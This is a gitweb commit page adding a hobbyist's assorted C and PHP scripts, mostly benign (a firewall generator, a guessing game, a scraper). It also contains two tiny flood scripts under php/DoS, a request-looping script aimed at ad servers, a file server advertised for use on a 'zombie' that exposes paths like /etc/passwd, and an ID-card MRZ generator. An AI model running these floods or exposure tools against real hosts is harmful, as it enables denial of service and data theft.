Added junk found in ~harvie at harvie.cz
authorHarvie <tomas@mudrunka.cz>
Mon, 24 May 2010 20:52:36 +0000 (22:52 +0200)
committerHarvie <tomas@mudrunka.cz>
Wed, 26 May 2010 21:45:11 +0000 (23:45 +0200)
15 files changed:
c/drivespeed.c [new file with mode: 0644]
c/rand.c [new file with mode: 0644]
php/DoS/test.php [new file with mode: 0755]
php/DoS/udp.php [new file with mode: 0755]
php/fopen-bug.php [new file with mode: 0755]
php/hfirewall/firewall.php [new file with mode: 0755]
php/hfirewall/fwscript.sh [new file with mode: 0755]
php/hfirewall/hfwrules.conf [new file with mode: 0644]
php/hfirewall/output.txt [new file with mode: 0644]
php/hfirewall/tmp.txt [new file with mode: 0644]
php/hfirewall/unfw.sh [new file with mode: 0755]
php/http_server.php [new file with mode: 0755]
php/idgen.php [new file with mode: 0755]
php/parser.php [new file with mode: 0755]
php/php_demo.php [new file with mode: 0755]

diff --git a/c/drivespeed.c b/c/drivespeed.c
new file mode 100644 (file)
index 0000000..fe247f1
--- /dev/null
@@ -0,0 +1,14 @@
+#include <stdio.h>
+#include <stdlib.h>
+
+int main() {
+
+char drive[] = "/dev/hdc";
+int stime = time(NULL);
+printf("%d\n", stime);
+system("cat /dev/hdc > /dev/null");
+stime = time(NULL);
+printf("%d\n", stime);
+return(0);
+
+}
diff --git a/c/rand.c b/c/rand.c
new file mode 100644 (file)
index 0000000..0c06846
--- /dev/null
+++ b/c/rand.c
@@ -0,0 +1,23 @@
+#include <stdio.h>
+#include <string.h>
+#include <stdlib.h>
+
+int main() {
+       int g, r, max = 10;
+       char buff[80];
+       while(1) {
+               r = rand() % max;
+               printf("hadej cislo (od 0 do"
+                       "%d):", max - 1);
+               fgets(buff, sizeof(buff)-2, stdin);
+               *strpbrk(buff, "\r\n") = '\0';
+               if (!*buff)
+                       break;
+               g = strtol(buff, NULL, 10);
+               if(r == g) puts("Bravo maestro!");
+               else printf("Loooooooozre! "
+                       "bylo to %d\n", r);
+               
+       }
+       puts("konec!");
+}
diff --git a/php/DoS/test.php b/php/DoS/test.php
new file mode 100755 (executable)
index 0000000..d5541f4
--- /dev/null
@@ -0,0 +1,9 @@
+#!/usr/bin/php
+<?php
+
+echo("Hello World...\n");
+while(1) {
+       @fsockopen("0.0.105.76", 80, $err, $errstr, 0.00001);
+}
+
+?>
diff --git a/php/DoS/udp.php b/php/DoS/udp.php
new file mode 100755 (executable)
index 0000000..6af1c19
--- /dev/null
@@ -0,0 +1,5 @@
+#!/usr/bin/php
+<?php
+
+$fp = fsockopen("udp://example.cz", 3212);
+while(1) fwrite($fp, "LOOL-FUCK-U-ALLOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO");
diff --git a/php/fopen-bug.php b/php/fopen-bug.php
new file mode 100755 (executable)
index 0000000..4decab9
--- /dev/null
@@ -0,0 +1,21 @@
+#!/usr/bin/php
+<?php
+
+//phpinfo(); die();
+
+/*Run and wait for a while, this can totaly stop the script at the dead
+point...*/
+
+$i=1;
+ini_set('default_socket_timeout',1);
+set_time_limit(0);
+$url='http://ad.doubleclick.net/click';
+$url='http://w.moreover.com/';
+//$url = 'http://pernicek.mooo.com';
+while(1) {
+    @file_get_contents($url, false, null, 0, 10000);
+    echo "#".$i++;
+}
+
+?>
+
diff --git a/php/hfirewall/firewall.php b/php/hfirewall/firewall.php
new file mode 100755 (executable)
index 0000000..714bfad
--- /dev/null
@@ -0,0 +1,170 @@
+#! /usr/bin/php
+<?php
+///Settings////////////////////////////
+$rulefile = "hfwrules.conf";
+$fwscript = "fwscript.sh";
+
+$chmod = true;
+$run = true;
+
+$iptbin = "/sbin/iptables";
+$iptsave = "/sbin/iptables-save";
+$iptrestore = "/sbin/iptables-restore";
+
+///Version/////////////////////////////
+$version = "0.1 Alpha";
+
+///Banner//////////////////////////////
+echo("Harvie's Firewall\n");
+echo("\t<-Harvie 2oo7\n");
+echo("\tVersion $version\n\n");
+
+///CODE////////////////////////////////
+//Load rules file
+echo("Loading rulesfile ".$rulefile."... ");
+if(is_file($rulefile)) {
+       include("$rulefile");
+       echo("Loaded!\n\n");
+} else {
+       echo("File not found!\n\n");
+}
+
+//Make iptables script file
+$ipt = fopen($fwscript, "w");
+fwrite($ipt, "#!/bin/sh\n#This firewall script was generated by Harvie's php firewall ($version)\n\n");
+
+//Rules info
+echo("Rules info: \n");
+if(isset($author)) {
+       fwrite($ipt, "#Author: $author\n");
+       echo("Author: $author\n");
+}
+if(isset($description)){
+       fwrite($ipt, "#Description: $description\n");
+       echo("Description: $description\n");
+}
+fwrite($ipt, "######################################################################################################\n");
+fwrite($ipt, "\n");
+fwrite($ipt, "\n");
+echo("\n");
+
+///Rules Others////////////////////////////////////////////////////////////////////
+fwrite($ipt, "#Rules Others:\n");
+echo("Rules Others:\n");
+
+if($icmp_echo_ignore_broadcasts) {
+       echo("Ignore ICMP echo-request messages sent to broadcast or multicast addresses\n");
+       fwrite($ipt, "echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts\n");
+} else {
+       fwrite($ipt, "echo 0 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts\n");
+}
+
+if($accept_source_route) {
+       echo("Accept source routed packets\n");
+       fwrite($ipt, "echo 1 > /proc/sys/net/ipv4/conf/all/accept_source_route\n");
+} else {
+       fwrite($ipt, "echo 0 > /proc/sys/net/ipv4/conf/all/accept_source_route\n");
+}
+
+if($tcp_syncookies) {
+       echo("Enable TCP SYN cookie protection from SYN floods\n");
+       fwrite($ipt, "echo 1 > /proc/sys/net/ipv4/tcp_syncookies\n");
+} else {
+       fwrite($ipt, "echo 0 > /proc/sys/net/ipv4/tcp_syncookies\n");
+}
+
+if($accept_redirects) {
+       echo("Accept ICMP redirect messages\n");
+       fwrite($ipt, "echo 1 > /proc/sys/net/ipv4/conf/all/accept_redirects\n");
+} else {
+       fwrite($ipt, "echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects\n");
+}
+
+if($send_redirects) {
+       echo("Send ICMP redirect messages\n");
+       fwrite($ipt, "echo 1 > /proc/sys/net/ipv4/conf/all/send_redirects\n");
+} else {
+       fwrite($ipt, "echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects\n");
+}
+
+if($rp_filter) {
+       echo("Enable source address spoofing protection\n");
+       fwrite($ipt, "echo 1 > /proc/sys/net/ipv4/conf/all/rp_filter\n");
+} else {
+       fwrite($ipt, "echo 0 > /proc/sys/net/ipv4/conf/all/rp_filter\n");
+}
+
+if($log_martians) {
+       echo("Log packets from Martians (with impossible source addresses)\n");
+       fwrite($ipt, "echo 1 > /proc/sys/net/ipv4/conf/all/log_martians\n");
+} else {
+       fwrite($ipt, "echo 0 > /proc/sys/net/ipv4/conf/all/log_martians\n");
+}
+
+fwrite($ipt, "\n");
+echo("\n");
+
+///Rules IPTables//////////////////////////////////////////////////////////////////
+fwrite($ipt, "#Rules IPTables:\n");
+echo("Rules IPTables:\n");
+
+//Rules flush
+if($flush_rules) {
+       echo("Flush old rules\n");
+       fwrite($ipt, "$iptbin --flush\n\n");
+}
+
+//Rules loopback
+if($loopback_allow_all == true) {
+       echo("Allow all traffic on loopback\n");
+       fwrite($ipt, "$iptbin -A INPUT -i lo -j ACCEPT\n");
+       fwrite($ipt, "$iptbin -A OUTPUT -o lo -j ACCEPT\n\n");
+}
+
+//Rules policies
+echo("Default policies: ");
+foreach($default_policies as $default_policy) {
+       fwrite($ipt, "$iptbin --policy $default_policy\n");
+       echo("$default_policy, ");
+}
+fwrite($ipt, "\n");
+echo("\n");
+
+//Rules outbound traffic
+if($allow_outbound_traffic) {
+       fwrite($ipt, "$iptbin -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT\n");
+       fwrite($ipt, "$iptbin -A OUTPUT -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT\n\n");
+}
+
+//Rules open ports
+echo("Open ports: ");
+foreach($open_ports as $open_port) {
+       fwrite($ipt, "$iptbin -A INPUT -p tcp --dport $open_port -m state --state NEW -j ACCEPT\n");
+       echo("$open_port, ");
+}
+fwrite($ipt, "\n");
+echo("\n");
+
+//Drop other
+if(drop_other == true) {
+       echo("Other traffic will be droped\n");
+       fwrite($ipt, "$iptbin -A INPUT -j DROP\n");
+}
+
+
+
+//Close iptables script
+fwrite($ipt, "\n\n");
+echo("\nClosing $fwscript\n");
+fclose($ipt);
+
+//Chmod u+x iptables script
+if($chmod) {
+       echo("chmod u+x $fwscript\n");
+       system("chmod u+x $fwscript");
+}
+//Run iptables script
+if($run) {
+       echo("Running firewall script...\n\n");
+       system("./".$fwscript);
+}
\ No newline at end of file
diff --git a/php/hfirewall/fwscript.sh b/php/hfirewall/fwscript.sh
new file mode 100755 (executable)
index 0000000..3725f6f
--- /dev/null
@@ -0,0 +1,50 @@
+#!/bin/sh
+#This firewall script was generated by Harvie's php firewall (0.1 Alpha)
+
+#Author: Harvie 2oo7
+#Description: Sample HFW Configuration File (THX2 http://www.brandonhutchinson.com/iptables_fw.html)
+######################################################################################################
+
+
+#Rules Others:
+echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
+echo 0 > /proc/sys/net/ipv4/conf/all/accept_source_route
+echo 1 > /proc/sys/net/ipv4/tcp_syncookies
+echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
+echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects
+echo 1 > /proc/sys/net/ipv4/conf/all/rp_filter
+echo 1 > /proc/sys/net/ipv4/conf/all/log_martians
+
+#Rules IPTables:
+/sbin/iptables --flush
+
+/sbin/iptables -A INPUT -i lo -j ACCEPT
+/sbin/iptables -A OUTPUT -o lo -j ACCEPT
+
+/sbin/iptables --policy INPUT DROP
+/sbin/iptables --policy OUTPUT DROP
+/sbin/iptables --policy FORWARD DROP
+
+/sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
+/sbin/iptables -A OUTPUT -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
+
+/sbin/iptables -A INPUT -p tcp --dport 20 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 21 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 22 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 80 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 8080 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 111 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 113 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 139 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 445 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 548 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 901 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 1023 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 2049 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 5500 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 5900 -m state --state NEW -j ACCEPT
+/sbin/iptables -A INPUT -p tcp --dport 5901 -m state --state NEW -j ACCEPT
+
+/sbin/iptables -A INPUT -j DROP
+
+
diff --git a/php/hfirewall/hfwrules.conf b/php/hfirewall/hfwrules.conf
new file mode 100644 (file)
index 0000000..bdab17d
--- /dev/null
@@ -0,0 +1,47 @@
+<?php
+#HFW (Harvie's Firewall) Configuration File
+
+#Rules info
+  $author = "Harvie 2oo7";
+  $description = "Sample HFW Configuration File (THX2 http://www.brandonhutchinson.com/iptables_fw.html)";
+  #You can modify this file to make your own firewall
+
+#Rules flush
+  #Flush old rules
+    $flush_rules = true;
+
+#Rules misc
+  #Drop ICMP echo-request messages sent to broadcast or multicast addresses
+    $icmp_echo_ignore_broadcasts = true;
+  #Accept source routed packets
+    $accept_source_route = false;
+  #Enable TCP SYN cookie protection from SYN floods
+    $tcp_syncookies = true;
+  #Accept ICMP redirect messages
+    $accept_redirects = false;
+  #Send ICMP redirect messages
+    $send_redirects = false;
+  #Enable source address spoofing protection
+    $rp_filter = true;
+  #Log packets with impossible source addresses
+    $log_martians = true;
+
+#Rules loopback
+  #Allow unlimited traffic on the loopback interface
+    $loopback_allow_all = true;
+
+#Rules default policies
+  $default_policies = array(
+    "INPUT DROP",
+    "OUTPUT DROP",
+    "FORWARD DROP"
+    );
+    
+#Rules outbound traffic
+  $allow_outbound_traffic = true;
+
+#Rules ports  
+  #Open ports
+    $open_ports = array(20, 21, 22, 80, 8080, 111, 113, 139, 445, 548, 901, 1023, 2049, 5500, 5900, 5901);
+  #Drop all other traffic
+    $drop_other = true;
\ No newline at end of file
diff --git a/php/hfirewall/output.txt b/php/hfirewall/output.txt
new file mode 100644 (file)
index 0000000..37ac23a
--- /dev/null
@@ -0,0 +1,25 @@
+Harvie's Firewall
+       <-Harvie 2oo7
+       Version 0.1 Alpha
+
+Loading rulesfile hfwrules.conf... Loaded!
+
+Rules info: 
+Author: Harvie 2oo7
+Description: Sample HFW Configuration File (THX2 http://www.brandonhutchinson.com/iptables_fw.html)
+
+Rules Others:
+Ignore ICMP echo-request messages sent to broadcast or multicast addresses
+Enable TCP SYN cookie protection from SYN floods
+Enable source address spoofing protection
+Log packets from Martians (with impossible source addresses)
+
+Rules IPTables:
+Flush old rules
+Allow all traffic on loopback
+Default policies: INPUT DROP, OUTPUT DROP, FORWARD DROP, 
+Open ports: 80, 22, 
+Other traffic will be droped
+
+Closing fwscript.sh
+chmod u+x fwscript.sh
diff --git a/php/hfirewall/tmp.txt b/php/hfirewall/tmp.txt
new file mode 100644 (file)
index 0000000..6a96abb
--- /dev/null
@@ -0,0 +1,46 @@
+# Drop ICMP echo-request messages sent to broadcast or multicast addresses
+echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_broadcasts
+
+# Drop source routed packets
+echo 0 > /proc/sys/net/ipv4/conf/all/accept_source_route
+
+# Enable TCP SYN cookie protection from SYN floods
+echo 1 > /proc/sys/net/ipv4/tcp_syncookies
+
+# Don't accept ICMP redirect messages
+echo 0 > /proc/sys/net/ipv4/conf/all/accept_redirects
+
+# Don't send ICMP redirect messages
+echo 0 > /proc/sys/net/ipv4/conf/all/send_redirects
+
+# Enable source address spoofing protection
+echo 1 > /proc/sys/net/ipv4/conf/all/rp_filter
+
+# Log packets with impossible source addresses
+echo 1 > /proc/sys/net/ipv4/conf/all/log_martians
+
+# Flush all chains
+/sbin/iptables --flush
+
+# Allow unlimited traffic on the loopback interface
+/sbin/iptables -A INPUT -i lo -j ACCEPT
+/sbin/iptables -A OUTPUT -o lo -j ACCEPT
+
+# Set default policies
+/sbin/iptables --policy INPUT DROP
+/sbin/iptables --policy OUTPUT DROP
+/sbin/iptables --policy FORWARD DROP
+
+# Previously initiated and accepted exchanges bypass rule checking
+# Allow unlimited outbound traffic
+/sbin/iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
+/sbin/iptables -A OUTPUT -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT
+
+# Allow incoming TCP port 22 (ssh) traffic from office
+/sbin/iptables -A INPUT -p tcp -s 192.168.1.100 --dport 22 -m state --state NEW -j ACCEPT
+
+# Drop all other traffic
+/sbin/iptables -A INPUT -j DROP
+
+# Have these rules take effect when iptables is started
+/sbin/service iptables save
\ No newline at end of file
diff --git a/php/hfirewall/unfw.sh b/php/hfirewall/unfw.sh
new file mode 100755 (executable)
index 0000000..81749c3
--- /dev/null
@@ -0,0 +1,9 @@
+#!/bin/sh
+#HFirewall Uninstall 0.1 Alpha
+#This will disable IPTables blocking
+
+iptables --flush
+iptables --policy INPUT ACCEPT
+iptables --policy OUTPUT ACCEPT
+iptables --policy FORWARD ACCEPT
+
diff --git a/php/http_server.php b/php/http_server.php
new file mode 100755 (executable)
index 0000000..45f2726
--- /dev/null
@@ -0,0 +1,165 @@
+#!/usr/bin/php
+<?php
+//Harvie's HTTPd 0.7
+/*
+  Allows you to binary safe download any file from remote pc
+    http://server:port/file
+    http://server:port//etc/passwd
+    http://server:port/C:\dir\file
+    http://server:port/C:/dir/file
+  Since version 0.6 there is filelisting
+    http://server:port/dir
+    http://server:port//etc
+    http://server:port/C:/dir
+    http://server:port/C:/dir/
+  You can also play multimedia like streams (using XMMS, Winamp, etc...)
+  But this can serve only one file a time
+    (if you are streaming or downloading, you can download/browse anything other,
+    but you can use download manager to download file by file...)
+  You can change port or interface by passing arguments
+  Usage: (httpd.php [port] [interface_IP])
+  This is very nice utility to use in your zombie.
+*/
+
+//////////////////////////////////////////////////////////////////////////////////
+$interface = "127.0.0.1";
+//$interface = "192.168.2.130";
+$port = 8080;
+
+//////////////////////////////////////////////////////////////////////////////////
+$okheader = //Header 200 FILE
+  "HTTP/1.0 200 OK\n".
+  "Server: Harvie's HTTPd\n".
+  "Connection: close\n\n";
+
+$dirheader = //Header 301 DIR
+  "HTTP/1.0 301 Moved Permanently\n".
+  "Server: Harvie's HTTPd\n".
+  "Location: %DIR%\n".
+  "Connection: close\n\n";
+
+$badheader = //Header 404
+  "HTTP/1.0 404 File not found!\n".
+  "Server: Harvie's HTTPd\n".
+  "Connection: close\n\n";
+
+$err404 = "ERR 404 - NOT FOUND!"; //Error 404
+
+//////////////////////////////////////////////////////////////////////////////////
+if(isset($argc)) {
+  if($argc > 1) $port = trim($argv[1]);
+  if($argc > 2) $interface = trim($argv[2]);
+}
+
+///FUNCTIONS//////////////////////////////////////////////////////////////////////
+function send_dir_listing($fp, $directory) {
+       $num = "0"; 
+  //Header
+  @fwrite($fp, "<html>\n<head><title>Index of $directory</title></head>\n<body><tt>\n");
+  @fwrite($fp, "<b>Available volumes:</b><br />\n");
+  
+  //Special folders
+  @fwrite($fp, "[<a href=\"/\">/</a>]\n"); //Server root
+  if(is_dir("/")) { //Unix root
+    @fwrite($fp, "[<a href=\"//\">//</a>]\n");
+  }
+  
+  //Available volumes
+  $dsks = "cdefghijklmnopqrstuvwxyz"; //Show this volumes (if available)
+  for($i=0;$i<strlen($dsks);$i++) {
+    if(is_dir($dsks[$i].":")) {
+      $vol = $dsks[$i];
+      @fwrite($fp, "[<a href=\"/$vol:/\">$vol:</a>]\n");
+    }
+    //echo($dsks[$i].":");
+  }
+  @fwrite($fp, "<br />\n\n");
+  
+  //Directory listing
+  @fwrite($fp, "<b>Directory listing of $directory :</b><br /><br />\n\n");
+  @fwrite($fp, "[DIR] <a href=\"./../\">Parent Directory (../)</a><br />\n");
+       $files=opendir ($directory); 
+               while (false!==($file = readdir($files))) 
+               { 
+                               if ($file != "." && $file != "..") 
+                               { 
+            $num++;
+            if(is_dir("$directory/$file")) {
+              fwrite($fp, "$num - [DIR] <a href=\"./$file\">$file</a><br />\n");
+            } else {
+              fwrite($fp, "$num - <a href=\"./$file\">$file</a><br />\n");
+            }
+                               } 
+               }
+    
+    //Footer
+               fwrite($fp, "<br />\n<b>Total: $num</b>\n</tt></body>\n</html>");
+}
+
+///CODE///////////////////////////////////////////////////////////////////////////
+echo("\n\tStarting Harvie's HTTPd at:\n\ttcp://$interface:$port\n\n");
+//system("title Harvie's HTTPd at tcp://$interface:$port"); //Microsoft Windows only
+set_time_limit(0);
+$sss = stream_socket_server("tcp://$interface:$port");
+
+while(1) {
+  @$sfp = stream_socket_accept($sss);
+  if(!$sfp) continue;
+
+  $loop = 1;
+  while($sfp && !@feof($sfp) && $loop) {
+    $line = fgets($sfp);
+    //echo($line);
+    if(eregi("(GET|POST)", $line)) {
+      $line = trim($line);
+      //echo($line);
+      $line = explode(" ", $line);
+      
+      $line[1] = trim(urldecode($line[1]));
+      
+      
+      if($line[1] == "/") {
+        $line[1] = "./";
+      } else {
+        $line[1] = substr($line[1], 1);
+      }
+      
+      
+      if(is_file($line[1])) { //200 OK FILE
+        fwrite($sfp, $okheader);
+        echo("200 ".$line[1]);
+        $fp = fopen($line[1], "rb");
+        while( fwrite($sfp, fgets($fp)) );
+        @fclose($sfp);
+        echo(" SENT!\n");
+      }
+      
+      elseif(is_dir($line[1])) { //200 OK DIR
+        if(substr($line[1], strlen($line[1])-1) != "/") { //301 MOV DIR
+          $header = ("/".$line[1]."/");
+          echo("301 ".$line[1]." -> $header\n");
+          $header = str_replace("%DIR%", $header, $dirheader);
+          //$header = str_replace("./", "./", $dirheader);
+          //echo($header);
+          fwrite($sfp, $header);
+          @fclose($sfp);
+          break;
+        }
+        echo("200 [DIR] ".$line[1]."\n");
+        send_dir_listing($sfp, $line[1]);
+      }
+      
+      else { //404 NOT FOUND
+        echo("404 ".$line[1]."\n");
+        fwrite($sfp, $badheader);
+        fwrite($sfp, $err404);
+        @fclose($sfp);
+      }
+      
+      $loop = 0;
+    }
+  }
+  @fclose($sfp);
+}
+
+?>
diff --git a/php/idgen.php b/php/idgen.php
new file mode 100755 (executable)
index 0000000..29d1382
--- /dev/null
@@ -0,0 +1,21 @@
+#!/usr/bin/php
+<?php
+
+function obcanka_ocr_line($country, $name, $familyn, $sex, $opno, $personalno, $expires_YYMMDD) {
+       $experno = explode("/", $personalno);
+       $birthnum = $experno[0].$experno[2];
+       $birthnum[2] = 0;
+
+       $blankline = "####################################";    
+
+       $nameline = "ID$country$familyn<<$name$blankline";
+       $nameline = str_replace("#", "<", $nameline);
+       $nameline = substr($nameline, 0, 36);
+       //echo strlen($nameline)."\n";
+       echo("$nameline\n");
+
+       $numline = $opno."1".$country.$birthnum."1".$sex.$expires_YYMMDD.$experno[1]."<<<".rand(0,9);
+       echo("$numline\n");
+}
+
+obcanka_ocr_line("CZE", "TOMAS", "NOVAK", "M", "204672478", "800456/0096", "100202");
diff --git a/php/parser.php b/php/parser.php
new file mode 100755 (executable)
index 0000000..f0abb3b
--- /dev/null
@@ -0,0 +1,11 @@
+#!/usr/bin/php
+<?php
+$fp = fopen("http://www.root.cz/", "r");
+
+while($line = fgets($fp)) {
+  if(ereg("<h3><a href=\"/clanky/", $line)) {
+    $line = explode("<h3><a href=\"/clanky/", $line);
+    $line = explode("/\">", $line[1]);
+    echo($line[0]."\n");
+  }
+}
diff --git a/php/php_demo.php b/php/php_demo.php
new file mode 100755 (executable)
index 0000000..2c56e54
--- /dev/null
@@ -0,0 +1,31 @@
+#!/usr/bin/php
+<?php
+echo("Special chars example\n<-Harvie 2oo7\n\n");
+$tocse = "-\|/";
+
+while(1) {
+
+echo("INIT: ..........\x0d");
+for($i=0;$i<11;$i++) {
+  usleep(100000);
+  echo("INIT: ");
+  for($x=$i;$x>0;$x--) echo("#");
+  echo("\x0d");
+}
+
+$tnum = rand(0,99);
+echo("Find: ".($find = md5($tnum)).":??\n");
+$i = 0;
+while(1) {
+  $tnum = rand(0,99);
+  $test = md5($tnum);
+  echo("\x0d MD5: ".$test." ".$tocse[$i]." :$tnum   ");
+  usleep(50000);
+  if($test == $find) { break; }
+  $i++;
+  if($i > 3) { $i = 0; }
+}
+echo("\x0d MD5: ".$test.":$tnum          \n Found\x07!!!\n\n");
+
+}
+
This page took 0.321627 seconds and 4 git commands to generate.